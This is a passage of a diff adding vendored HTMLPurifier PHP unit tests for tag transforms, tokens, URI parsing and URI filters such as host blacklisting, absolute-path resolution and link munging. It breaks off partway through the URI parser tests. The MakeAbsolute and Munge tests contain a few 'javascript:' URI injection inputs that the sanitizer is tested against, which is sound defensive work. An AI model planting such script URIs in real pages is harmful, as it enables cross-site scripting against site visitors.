+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashTest.php
@@ -0,0 +1,21 @@
+<?php
+
+class HTMLPurifier_StringHashTest extends UnitTestCase
+{
+
+ public function testUsed()
+ {
+ $hash = new HTMLPurifier_StringHash(array(
+ 'key' => 'value',
+ 'key2' => 'value2'
+ ));
+ $this->assertIdentical($hash->getAccessed(), array());
+ $t = $hash->offsetGet('key');
+ $this->assertIdentical($hash->getAccessed(), array('key' => true));
+ $hash->resetAccessed();
+ $this->assertIdentical($hash->getAccessed(), array());
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TagTransformTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TagTransformTest.php
new file mode 100644
index 000000000..e6d2d5b95
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TagTransformTest.php
@@ -0,0 +1,180 @@
+<?php
+
+// needs to be seperated into files
+class HTMLPurifier_TagTransformTest extends HTMLPurifier_Harness
+{
+
+ /**
+ * Asserts that a transformation happens
+ *
+ * This assertion performs several tests on the transform:
+ *
+ * -# Transforms a start tag with only $name and no attributes
+ * -# Transforms a start tag with $name and $attributes
+ * -# Transform an end tag
+ * -# Transform an empty tag with only $name and no attributes
+ * -# Transform an empty tag with $name and $attributes
+ *
+ * In its current form, it assumes that start and empty tags would be
+ * treated the same, and is really ensuring that the tag transform doesn't
+ * do anything wonky to the tag type.
+ *
+ * @param $transformer HTMLPurifier_TagTransform class to test
+ * @param $name Name of the original tag
+ * @param $attributes Attributes of the original tag
+ * @param $expect_name Name of output tag
+ * @param $expect_attributes Attributes of output tag when $attributes
+ * is included.
+ * @param $expect_added_attributes Attributes of output tag when $attributes
+ * are omitted.
+ * @param $config_array Configuration array for HTMLPurifier_Config
+ * @param $context_array Context array for HTMLPurifier_Context
+ */
+ protected function assertTransformation($transformer,
+ $name, $attributes,
+ $expect_name, $expect_attributes,
+ $expect_added_attributes = array(),
+ $config_array = array(), $context_array = array()) {
+
+ $config = HTMLPurifier_Config::createDefault();
+ $config->loadArray($config_array);
+
+ $context = new HTMLPurifier_Context();
+ $context->loadArray($context_array);
+
+ // start tag transform
+ $this->assertIdentical(
+ new HTMLPurifier_Token_Start($expect_name, $expect_added_attributes),
+ $transformer->transform(
+ new HTMLPurifier_Token_Start($name), $config, $context)
+ );
+
+ // start tag transform with attributes
+ $this->assertIdentical(
+ new HTMLPurifier_Token_Start($expect_name, $expect_attributes),
+ $transformer->transform(
+ new HTMLPurifier_Token_Start($name, $attributes),
+ $config, $context
+ )
+ );
+
+ // end tag transform
+ $this->assertIdentical(
+ new HTMLPurifier_Token_End($expect_name),
+ $transformer->transform(
+ new HTMLPurifier_Token_End($name), $config, $context
+ )
+ );
+
+ // empty tag transform
+ $this->assertIdentical(
+ new HTMLPurifier_Token_Empty($expect_name, $expect_added_attributes),
+ $transformer->transform(
+ new HTMLPurifier_Token_Empty($name), $config, $context
+ )
+ );
+
+ // empty tag transform with attributes
+ $this->assertIdentical(
+ new HTMLPurifier_Token_Empty($expect_name, $expect_attributes),
+ $transformer->transform(
+ new HTMLPurifier_Token_Empty($name, $attributes),
+ $config, $context
+ )
+ );
+
+
+ }
+
+ public function testSimple()
+ {
+ $transformer = new HTMLPurifier_TagTransform_Simple('ul');
+
+ $this->assertTransformation(
+ $transformer,
+ 'menu', array('class' => 'boom'),
+ 'ul', array('class' => 'boom')
+ );
+
+ }
+
+ public function testSimpleWithCSS()
+ {
+ $transformer = new HTMLPurifier_TagTransform_Simple('div', 'text-align:center;');
+
+ $this->assertTransformation(
+ $transformer,
+ 'center', array('class' => 'boom', 'style'=>'font-weight:bold;'),
+ 'div', array('class' => 'boom', 'style'=>'text-align:center;font-weight:bold;'),
+ array('style'=>'text-align:center;')
+ );
+
+ // test special case, uppercase attribute key
+ $this->assertTransformation(
+ $transformer,
+ 'center', array('STYLE'=>'font-weight:bold;'),
+ 'div', array('style'=>'text-align:center;font-weight:bold;'),
+ array('style'=>'text-align:center;')
+ );
+
+ }
+
+ protected function assertSizeToStyle($transformer, $size, $style)
+ {
+ $this->assertTransformation(
+ $transformer,
+ 'font', array('size' => $size),
+ 'span', array('style' => 'font-size:' . $style . ';')
+ );
+ }
+
+ public function testFont()
+ {
+ $transformer = new HTMLPurifier_TagTransform_Font();
+
+ // test a font-face transformation
+ $this->assertTransformation(
+ $transformer,
+ 'font', array('face' => 'Arial'),
+ 'span', array('style' => 'font-family:Arial;')
+ );
+
+ // test a color transformation
+ $this->assertTransformation(
+ $transformer,
+ 'font', array('color' => 'red'),
+ 'span', array('style' => 'color:red;')
+ );
+
+ // test the size transforms
+ $this->assertSizeToStyle($transformer, '0', 'xx-small');
+ $this->assertSizeToStyle($transformer, '1', 'xx-small');
+ $this->assertSizeToStyle($transformer, '2', 'small');
+ $this->assertSizeToStyle($transformer, '3', 'medium');
+ $this->assertSizeToStyle($transformer, '4', 'large');
+ $this->assertSizeToStyle($transformer, '5', 'x-large');
+ $this->assertSizeToStyle($transformer, '6', 'xx-large');
+ $this->assertSizeToStyle($transformer, '7', '300%');
+ $this->assertSizeToStyle($transformer, '-1', 'smaller');
+ $this->assertSizeToStyle($transformer, '-2', '60%');
+ $this->assertSizeToStyle($transformer, '-3', '60%');
+ $this->assertSizeToStyle($transformer, '+1', 'larger');
+ $this->assertSizeToStyle($transformer, '+2', '150%');
+ $this->assertSizeToStyle($transformer, '+3', '200%');
+ $this->assertSizeToStyle($transformer, '+4', '300%');
+ $this->assertSizeToStyle($transformer, '+5', '300%');
+ $this->assertTransformation(
+ $transformer, 'font', array('size' => ''),
+ 'span', array()
+ );
+
+ // test multiple transforms, the alphabetical ordering is important
+ $this->assertTransformation(
+ $transformer,
+ 'font', array('color' => 'red', 'face' => 'Arial', 'size' => '6'),
+ 'span', array('style' => 'color:red;font-family:Arial;font-size:xx-large;')
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenFactoryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenFactoryTest.php
new file mode 100644
index 000000000..8454b5a2d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenFactoryTest.php
@@ -0,0 +1,17 @@
+<?php
+
+class HTMLPurifier_TokenFactoryTest extends HTMLPurifier_Harness
+{
+ public function test()
+ {
+ $factory = new HTMLPurifier_TokenFactory();
+
+ $regular = new HTMLPurifier_Token_Start('a', array('href' => 'about:blank'));
+ $generated = $factory->createStart('a', array('href' => 'about:blank'));
+
+ $this->assertIdentical($regular, $generated);
+
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenTest.php
new file mode 100644
index 000000000..089ff859d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenTest.php
@@ -0,0 +1,34 @@
+<?php
+
+class HTMLPurifier_TokenTest extends HTMLPurifier_Harness
+{
+
+ protected function assertTokenConstruction($name, $attr,
+ $expect_name = null, $expect_attr = null
+ ) {
+ if ($expect_name === null) $expect_name = $name;
+ if ($expect_attr === null) $expect_attr = $attr;
+ $token = new HTMLPurifier_Token_Start($name, $attr);
+
+ $this->assertIdentical($expect_name, $token->name);
+ $this->assertIdentical($expect_attr, $token->attr);
+ }
+
+ public function testConstruct()
+ {
+ // standard case
+ $this->assertTokenConstruction('a', array('href' => 'about:blank'));
+
+ // lowercase the tag's name
+ $this->assertTokenConstruction('A', array('href' => 'about:blank'),
+ 'a');
+
+ // lowercase attributes
+ $this->assertTokenConstruction('a', array('HREF' => 'about:blank'),
+ 'a', array('href' => 'about:blank'));
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIDefinitionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIDefinitionTest.php
new file mode 100644
index 000000000..4261807d4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIDefinitionTest.php
@@ -0,0 +1,68 @@
+<?php
+
+class HTMLPurifier_URIDefinitionTest extends HTMLPurifier_URIHarness
+{
+
+ protected function createFilterMock($expect = true, $result = true, $post = false, $setup = true)
+ {
+ static $i = 0;
+ generate_mock_once('HTMLPurifier_URIFilter');
+ $mock = new HTMLPurifier_URIFilterMock();
+ if ($expect) $mock->expectOnce('filter');
+ else $mock->expectNever('filter');
+ $mock->setReturnValue('filter', $result);
+ $mock->setReturnValue('prepare', $setup);
+ $mock->name = $i++;
+ $mock->post = $post;
+ return $mock;
+ }
+
+ public function test_filter()
+ {
+ $def = new HTMLPurifier_URIDefinition();
+ $def->addFilter($this->createFilterMock(), $this->config);
+ $def->addFilter($this->createFilterMock(), $this->config);
+ $uri = $this->createURI('test');
+ $this->assertTrue($def->filter($uri, $this->config, $this->context));
+ }
+
+ public function test_filter_earlyAbortIfFail()
+ {
+ $def = new HTMLPurifier_URIDefinition();
+ $def->addFilter($this->createFilterMock(true, false), $this->config);
+ $def->addFilter($this->createFilterMock(false), $this->config); // never called
+ $uri = $this->createURI('test');
+ $this->assertFalse($def->filter($uri, $this->config, $this->context));
+ }
+
+ public function test_setupMemberVariables_collisionPrecedenceIsHostBaseScheme()
+ {
+ $this->config->set('URI.Host', $host = 'example.com');
+ $this->config->set('URI.Base', $base = 'http://sub.example.com/foo/bar.html');
+ $this->config->set('URI.DefaultScheme', 'ftp');
+ $def = new HTMLPurifier_URIDefinition();
+ $def->setup($this->config);
+ $this->assertIdentical($def->host, $host);
+ $this->assertIdentical($def->base, $this->createURI($base));
+ $this->assertIdentical($def->defaultScheme, 'http'); // not ftp!
+ }
+
+ public function test_setupMemberVariables_onlyScheme()
+ {
+ $this->config->set('URI.DefaultScheme', 'ftp');
+ $def = new HTMLPurifier_URIDefinition();
+ $def->setup($this->config);
+ $this->assertIdentical($def->defaultScheme, 'ftp');
+ }
+
+ public function test_setupMemberVariables_onlyBase()
+ {
+ $this->config->set('URI.Base', 'http://sub.example.com/foo/bar.html');
+ $def = new HTMLPurifier_URIDefinition();
+ $def->setup($this->config);
+ $this->assertIdentical($def->host, 'sub.example.com');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php
new file mode 100644
index 000000000..fc0e6fcfe
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php
@@ -0,0 +1,25 @@
+<?php
+
+class HTMLPurifier_URIFilter_DisableExternalResourcesTest extends
+ HTMLPurifier_URIFilter_DisableExternalTest
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->filter = new HTMLPurifier_URIFilter_DisableExternalResources();
+ $var = true;
+ $this->context->register('EmbeddedURI', $var);
+ }
+
+ public function testPreserveWhenNotEmbedded()
+ {
+ $this->context->destroy('EmbeddedURI'); // undo setUp
+ $this->assertFiltering(
+ 'http://example.com'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalTest.php
new file mode 100644
index 000000000..da6fe37ae
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalTest.php
@@ -0,0 +1,60 @@
+<?php
+
+class HTMLPurifier_URIFilter_DisableExternalTest extends HTMLPurifier_URIFilterHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->filter = new HTMLPurifier_URIFilter_DisableExternal();
+ }
+
+ public function testRemoveExternal()
+ {
+ $this->assertFiltering(
+ 'http://example.com', false
+ );
+ }
+
+ public function testPreserveInternal()
+ {
+ $this->assertFiltering(
+ '/foo/bar'
+ );
+ }
+
+ public function testPreserveOurHost()
+ {
+ $this->config->set('URI.Host', 'example.com');
+ $this->assertFiltering(
+ 'http://example.com'
+ );
+ }
+
+ public function testPreserveOurSubdomain()
+ {
+ $this->config->set('URI.Host', 'example.com');
+ $this->assertFiltering(
+ 'http://www.example.com'
+ );
+ }
+
+ public function testRemoveSuperdomain()
+ {
+ $this->config->set('URI.Host', 'www.example.com');
+ $this->assertFiltering(
+ 'http://example.com', false
+ );
+ }
+
+ public function testBaseAsHost()
+ {
+ $this->config->set('URI.Base', 'http://www.example.com/foo/bar');
+ $this->assertFiltering(
+ 'http://www.example.com/baz'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableResourcesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableResourcesTest.php
new file mode 100644
index 000000000..e8779dc70
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableResourcesTest.php
@@ -0,0 +1,27 @@
+<?php
+
+class HTMLPurifier_URIFilter_DisableResourcesTest extends HTMLPurifier_URIFilterHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->filter = new HTMLPurifier_URIFilter_DisableResources();
+ $var = true;
+ $this->context->register('EmbeddedURI', $var);
+ }
+
+ public function testRemoveResource()
+ {
+ $this->assertFiltering('/foo/bar', false);
+ }
+
+ public function testPreserveRegular()
+ {
+ $this->context->destroy('EmbeddedURI'); // undo setUp
+ $this->assertFiltering('/foo/bar');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php
new file mode 100644
index 000000000..ffbff0c5d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php
@@ -0,0 +1,33 @@
+<?php
+
+class HTMLPurifier_URIFilter_HostBlacklistTest extends HTMLPurifier_URIFilterHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->filter = new HTMLPurifier_URIFilter_HostBlacklist();
+ }
+
+ public function testRejectBlacklistedHost()
+ {
+ $this->config->set('URI.HostBlacklist', 'example.com');
+ $this->assertFiltering('http://example.com', false);
+ }
+
+ public function testRejectBlacklistedHostThoughNotTrue()
+ {
+ // maybe this behavior should change
+ $this->config->set('URI.HostBlacklist', 'example.com');
+ $this->assertFiltering('http://example.comcast.com', false);
+ }
+
+ public function testPreserveNonBlacklistedHost()
+ {
+ $this->config->set('URI.HostBlacklist', 'example.com');
+ $this->assertFiltering('http://google.com');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php
new file mode 100644
index 000000000..f357ce05c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php
@@ -0,0 +1,175 @@
+<?php
+
+class HTMLPurifier_URIFilter_MakeAbsoluteTest extends HTMLPurifier_URIFilterHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->filter = new HTMLPurifier_URIFilter_MakeAbsolute();
+ $this->setBase();
+ }
+
+ public function setBase($base = 'http://example.com/foo/bar.html?q=s#frag')
+ {
+ $this->config->set('URI.Base', $base);
+ }
+
+ // corresponding to RFC 2396
+
+ public function testPreserveAbsolute()
+ {
+ $this->assertFiltering('http://example.com/foo.html');
+ }
+
+ public function testFilterBlank()
+ {
+ $this->assertFiltering('', 'http://example.com/foo/bar.html?q=s');
+ }
+
+ public function testFilterEmptyPath()
+ {
+ $this->assertFiltering('?q=s#frag', 'http://example.com/foo/bar.html?q=s#frag');
+ }
+
+ public function testPreserveAltScheme()
+ {
+ $this->assertFiltering('mailto:bob@example.com');
+ }
+
+ public function testFilterIgnoreHTTPSpecialCase()
+ {
+ $this->assertFiltering('http:/', 'http://example.com/');
+ }
+
+ public function testFilterAbsolutePath()
+ {
+ $this->assertFiltering('/foo.txt', 'http://example.com/foo.txt');
+ }
+
+ public function testFilterRelativePath()
+ {
+ $this->assertFiltering('baz.txt', 'http://example.com/foo/baz.txt');
+ }
+
+ public function testFilterRelativePathWithInternalDot()
+ {
+ $this->assertFiltering('./baz.txt', 'http://example.com/foo/baz.txt');
+ }
+
+ public function testFilterRelativePathWithEndingDot()
+ {
+ $this->assertFiltering('baz/.', 'http://example.com/foo/baz/');
+ }
+
+ public function testFilterRelativePathDot()
+ {
+ $this->assertFiltering('.', 'http://example.com/foo/');
+ }
+
+ public function testFilterRelativePathMultiDot()
+ {
+ $this->assertFiltering('././foo/./bar/.././baz', 'http://example.com/foo/foo/baz');
+ }
+
+ public function testFilterAbsolutePathWithDot()
+ {
+ $this->assertFiltering('/./foo', 'http://example.com/foo');
+ }
+
+ public function testFilterAbsolutePathWithMultiDot()
+ {
+ $this->assertFiltering('/./foo/../bar/.', 'http://example.com/bar/');
+ }
+
+ public function testFilterRelativePathWithInternalDotDot()
+ {
+ $this->assertFiltering('../baz.txt', 'http://example.com/baz.txt');
+ }
+
+ public function testFilterRelativePathWithEndingDotDot()
+ {
+ $this->assertFiltering('..', 'http://example.com/');
+ }
+
+ public function testFilterRelativePathTooManyDotDots()
+ {
+ $this->assertFiltering('../../', 'http://example.com/');
+ }
+
+ public function testFilterAppendingQueryAndFragment()
+ {
+ $this->assertFiltering('/foo.php?q=s#frag', 'http://example.com/foo.php?q=s#frag');
+ }
+
+ // edge cases below
+
+ public function testFilterAbsolutePathBase()
+ {
+ $this->setBase('/foo/baz.txt');
+ $this->assertFiltering('test.php', '/foo/test.php');
+ }
+
+ public function testFilterAbsolutePathBaseDirectory()
+ {
+ $this->setBase('/foo/');
+ $this->assertFiltering('test.php', '/foo/test.php');
+ }
+
+ public function testFilterAbsolutePathBaseBelow()
+ {
+ $this->setBase('/foo/baz.txt');
+ $this->assertFiltering('../../test.php', '/test.php');
+ }
+
+ public function testFilterRelativePathBase()
+ {
+ $this->setBase('foo/baz.html');
+ $this->assertFiltering('foo.php', 'foo/foo.php');
+ }
+
+ public function testFilterRelativePathBaseBelow()
+ {
+ $this->setBase('../baz.html');
+ $this->assertFiltering('test/strike.html', '../test/strike.html');
+ }
+
+ public function testFilterRelativePathBaseWithAbsoluteURI()
+ {
+ $this->setBase('../baz.html');
+ $this->assertFiltering('/test/strike.html');
+ }
+
+ public function testFilterRelativePathBaseWithDot()
+ {
+ $this->setBase('../baz.html');
+ $this->assertFiltering('.', '../');
+ }
+
+ public function testRemoveJavaScriptWithEmbeddedLink()
+ {
+ // credits: NykO18
+ $this->setBase('http://www.example.com/');
+ $this->assertFiltering('javascript: window.location = \'http://www.example.com\';', false);
+ }
+
+ // miscellaneous
+
+ public function testFilterDomainWithNoSlash()
+ {
+ $this->setBase('http://example.com');
+ $this->assertFiltering('foo', 'http://example.com/foo');
+ }
+
+ // error case
+
+ public function testErrorNoBase()
+ {
+ $this->setBase(null);
+ $this->expectError('URI.MakeAbsolute is being ignored due to lack of value for URI.Base configuration');
+ $this->assertFiltering('foo/bar.txt');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MungeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MungeTest.php
new file mode 100644
index 000000000..addaaf917
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MungeTest.php
@@ -0,0 +1,170 @@
+<?php
+
+class HTMLPurifier_URIFilter_MungeTest extends HTMLPurifier_URIFilterHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->filter = new HTMLPurifier_URIFilter_Munge();
+ }
+
+ protected function setMunge($uri = 'http://www.google.com/url?q=%s')
+ {
+ $this->config->set('URI.Munge', $uri);
+ }
+
+ protected function setSecureMunge($key = 'secret')
+ {
+ if (!function_exists('hash_hmac')) return false;
+ $this->setMunge('/redirect.php?url=%s&checksum=%t');
+ $this->config->set('URI.MungeSecretKey', $key);
+ return true;
+ }
+
+ public function testMunge()
+ {
+ $this->setMunge();
+ $this->assertFiltering(
+ 'http://www.example.com/',
+ 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F'
+ );
+ }
+
+ public function testMungeReplaceTagName()
+ {
+ $this->setMunge('/r?tagname=%n&url=%s');
+ $token = new HTMLPurifier_Token_Start('a');
+ $this->context->register('CurrentToken', $token);
+ $this->assertFiltering('http://google.com', '/r?tagname=a&url=http%3A%2F%2Fgoogle.com');
+ }
+
+ public function testMungeReplaceAttribute()
+ {
+ $this->setMunge('/r?attr=%m&url=%s');
+ $attr = 'href';
+ $this->context->register('CurrentAttr', $attr);
+ $this->assertFiltering('http://google.com', '/r?attr=href&url=http%3A%2F%2Fgoogle.com');
+ }
+
+ public function testMungeReplaceResource()
+ {
+ $this->setMunge('/r?embeds=%r&url=%s');
+ $embeds = false;
+ $this->context->register('EmbeddedURI', $embeds);
+ $this->assertFiltering('http://google.com', '/r?embeds=&url=http%3A%2F%2Fgoogle.com');
+ }
+
+ public function testMungeReplaceCSSProperty()
+ {
+ $this->setMunge('/r?property=%p&url=%s');
+ $property = 'background';
+ $this->context->register('CurrentCSSProperty', $property);
+ $this->assertFiltering('http://google.com', '/r?property=background&url=http%3A%2F%2Fgoogle.com');
+ }
+
+ public function testIgnoreEmbedded()
+ {
+ $this->setMunge();
+ $embeds = true;
+ $this->context->register('EmbeddedURI', $embeds);
+ $this->assertFiltering('http://example.com');
+ }
+
+ public function testProcessEmbedded()
+ {
+ $this->setMunge();
+ $this->config->set('URI.MungeResources', true);
+ $embeds = true;
+ $this->context->register('EmbeddedURI', $embeds);
+ $this->assertFiltering('http://www.example.com/', 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F');
+ }
+
+ public function testPreserveRelative()
+ {
+ $this->setMunge();
+ $this->assertFiltering('index.html');
+ }
+
+ public function testMungeIgnoreUnknownSchemes()
+ {
+ $this->setMunge();
+ $this->assertFiltering('javascript:foobar();', true);
+ }
+
+ public function testSecureMungePreserve()
+ {
+ if (!$this->setSecureMunge()) return;
+ $this->assertFiltering('/local');
+ }
+
+ public function testSecureMungePreserveEmbedded()
+ {
+ if (!$this->setSecureMunge()) return;
+ $embedded = true;
+ $this->context->register('EmbeddedURI', $embedded);
+ $this->assertFiltering('http://google.com');
+ }
+
+ public function testSecureMungeStandard()
+ {
+ if (!$this->setSecureMunge()) return;
+ $this->assertFiltering('http://google.com', '/redirect.php?url=http%3A%2F%2Fgoogle.com&checksum=46267a796aca0ea5839f24c4c97ad2648373a4eca31b1c0d1fa7c7ff26798f79');
+ }
+
+ public function testSecureMungeIgnoreUnknownSchemes()
+ {
+ // This should be integration tested as well to be false
+ if (!$this->setSecureMunge()) return;
+ $this->assertFiltering('javascript:', true);
+ }
+
+ public function testSecureMungeIgnoreUnbrowsableSchemes()
+ {
+ if (!$this->setSecureMunge()) return;
+ $this->assertFiltering('news:', true);
+ }
+
+ public function testSecureMungeToDirectory()
+ {
+ if (!$this->setSecureMunge()) return;
+ $this->setMunge('/links/%s/%t');
+ $this->assertFiltering('http://google.com', '/links/http%3A%2F%2Fgoogle.com/46267a796aca0ea5839f24c4c97ad2648373a4eca31b1c0d1fa7c7ff26798f79');
+ }
+
+ public function testMungeIgnoreSameDomain()
+ {
+ $this->setMunge('http://example.com/%s');
+ $this->assertFiltering('http://example.com/foobar');
+ }
+
+ public function testMungeIgnoreSameDomainInsecureToSecure()
+ {
+ $this->setMunge('http://example.com/%s');
+ $this->assertFiltering('https://example.com/foobar');
+ }
+
+ public function testMungeIgnoreSameDomainSecureToSecure()
+ {
+ $this->config->set('URI.Base', 'https://example.com');
+ $this->setMunge('http://example.com/%s');
+ $this->assertFiltering('https://example.com/foobar');
+ }
+
+ public function testMungeSameDomainSecureToInsecure()
+ {
+ $this->config->set('URI.Base', 'https://example.com');
+ $this->setMunge('/%s');
+ $this->assertFiltering('http://example.com/foobar', '/http%3A%2F%2Fexample.com%2Ffoobar');
+ }
+
+ public function testMungeIgnoresSourceHost()
+ {
+ $this->config->set('URI.Host', 'foo.example.com');
+ $this->setMunge('http://example.com/%s');
+ $this->assertFiltering('http://foo.example.com/bar');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilterHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilterHarness.php
new file mode 100644
index 000000000..4c8ad42e5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilterHarness.php
@@ -0,0 +1,16 @@
+<?php
+
+class HTMLPurifier_URIFilterHarness extends HTMLPurifier_URIHarness
+{
+
+ protected function assertFiltering($uri, $expect_uri = true)
+ {
+ $this->prepareURI($uri, $expect_uri);
+ $this->filter->prepare($this->config, $this->context);
+ $result = $this->filter->filter($uri, $this->config, $this->context);
+ $this->assertEitherFailOrIdentical($result, $uri, $expect_uri);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIHarness.php
new file mode 100644
index 000000000..4577469c6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIHarness.php
@@ -0,0 +1,33 @@
+<?php
+
+class HTMLPurifier_URIHarness extends HTMLPurifier_Harness
+{
+
+ /**
+ * Prepares two URIs into object form
+ * @param &$uri Reference to string input URI
+ * @param &$expect_uri Reference to string expectation URI
+ * @note If $expect_uri is false, it will stay false
+ */
+ protected function prepareURI(&$uri, &$expect_uri)
+ {
+ $parser = new HTMLPurifier_URIParser();
+ if ($expect_uri === true) $expect_uri = $uri;
+ $uri = $parser->parse($uri);
+ if ($expect_uri !== false) {
+ $expect_uri = $parser->parse($expect_uri);
+ }
+ }
+
+ /**
+ * Generates a URI object from the corresponding string
+ */
+ protected function createURI($uri)
+ {
+ $parser = new HTMLPurifier_URIParser();
+ return $parser->parse($uri);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIParserTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIParserTest.php
new file mode 100644
index 000000000..a188862c9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIParserTest.php
@@ -0,0 +1,171 @@
+<?php
+
+class HTMLPurifier_URIParserTest extends HTMLPurifier_Harness
+{
+
+ protected function assertParsing(
+ $uri, $scheme, $userinfo, $host, $port, $path, $query, $fragment, $config = null, $context = null
+ ) {
+ $this->prepareCommon($config, $context);
+ $parser = new HTMLPurifier_URIParser();
+ $result = $parser->parse($uri, $config, $context);
+ $expect = new HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
+ $this->assertEqual($result, $expect);
+ }
+
+ public function testPercentNormalization()
+ {
+ $this->assertParsing(
+ '%G',
+ null, null, null, null, '%25G', null, null
+ );
+ }
+
+ public function testRegular()
+ {
+ $this->assertParsing(
+ 'http://www.example.com/webhp?q=foo#result2',
+ 'http', null, 'www.example.com', null, '/webhp', 'q=foo', 'result2'
+ );
+ }
+
+ public function testPortAndUsername()
+ {
+ $this->assertParsing(
+ 'http://user@authority.part:80/now/the/path?query#fragment',
+ 'http', 'user', 'authority.part', 80, '/now/the/path', 'query', 'fragment'
+ );
+ }
+
+ public function testPercentEncoding()
+ {
+ $this->assertParsing(
+ 'http://en.wikipedia.org/wiki/Clich%C3%A9',
+ 'http', null, 'en.wikipedia.org', null, '/wiki/Clich%C3%A9', null, null
+ );
+ }
+
+ public function testEmptyQuery()
+ {
+ $this->assertParsing(
+ 'http://www.example.com/?#',
+ 'http', null, 'www.example.com', null, '/', '', null
+ );
+ }
+
+ public function testEmptyPath()
+ {
+ $this->assertParsing(
+ 'http://www.example.com',
+ 'http', null, 'www.example.com', null, '', null, null
+ );
+ }
+
+ public function testOpaqueURI()
+ {
+ $this->assertParsing(
+ 'mailto:bob@example.com',
+ 'mailto', null, null, null, 'bob@example.com', null, null
+ );
+ }
+
+ public function testIPv4Address()
+ {
+ $this->assertParsing(
+ 'http://192.0.34.166/',
+ 'http', null, '192.0.34.166', null, '/', null, null
+ );
+ }
+
+ public function testFakeIPv4Address()
+ {
+ $this->assertParsing(
+ 'http://333.123.32.123/',
+ 'http', null, '333.123.32.123', null, '/', null, null
+ );
+ }
+
+ public function testIPv6Address()
+ {
+ $this->assertParsing(
+ 'http://[2001:db8::7]/c=GB?objectClass?one',
+ 'http', null, '[2001:db8::7]', null, '/c=GB', 'objectClass?one', null
+ );
+ }
+
+ public function testInternationalizedDomainName()
+ {
+ $this->assertParsing(
+ "http://t\xC5\xABdali\xC5\x86.lv",
+ 'http', null, "t\xC5\xABdali\xC5\x86.lv", null, '', null, null
+ );
+ }
+
+ public function testInvalidPort()
+ {
+ $this->assertParsing(
+ 'http://example.com:foobar',
+ 'http', null, 'example.com', null, '', null, null
+ );
+ }
+
+ public function testPathAbsolute()
+ {
+ $this->assertParsing(
+ 'http:/this/is/path',
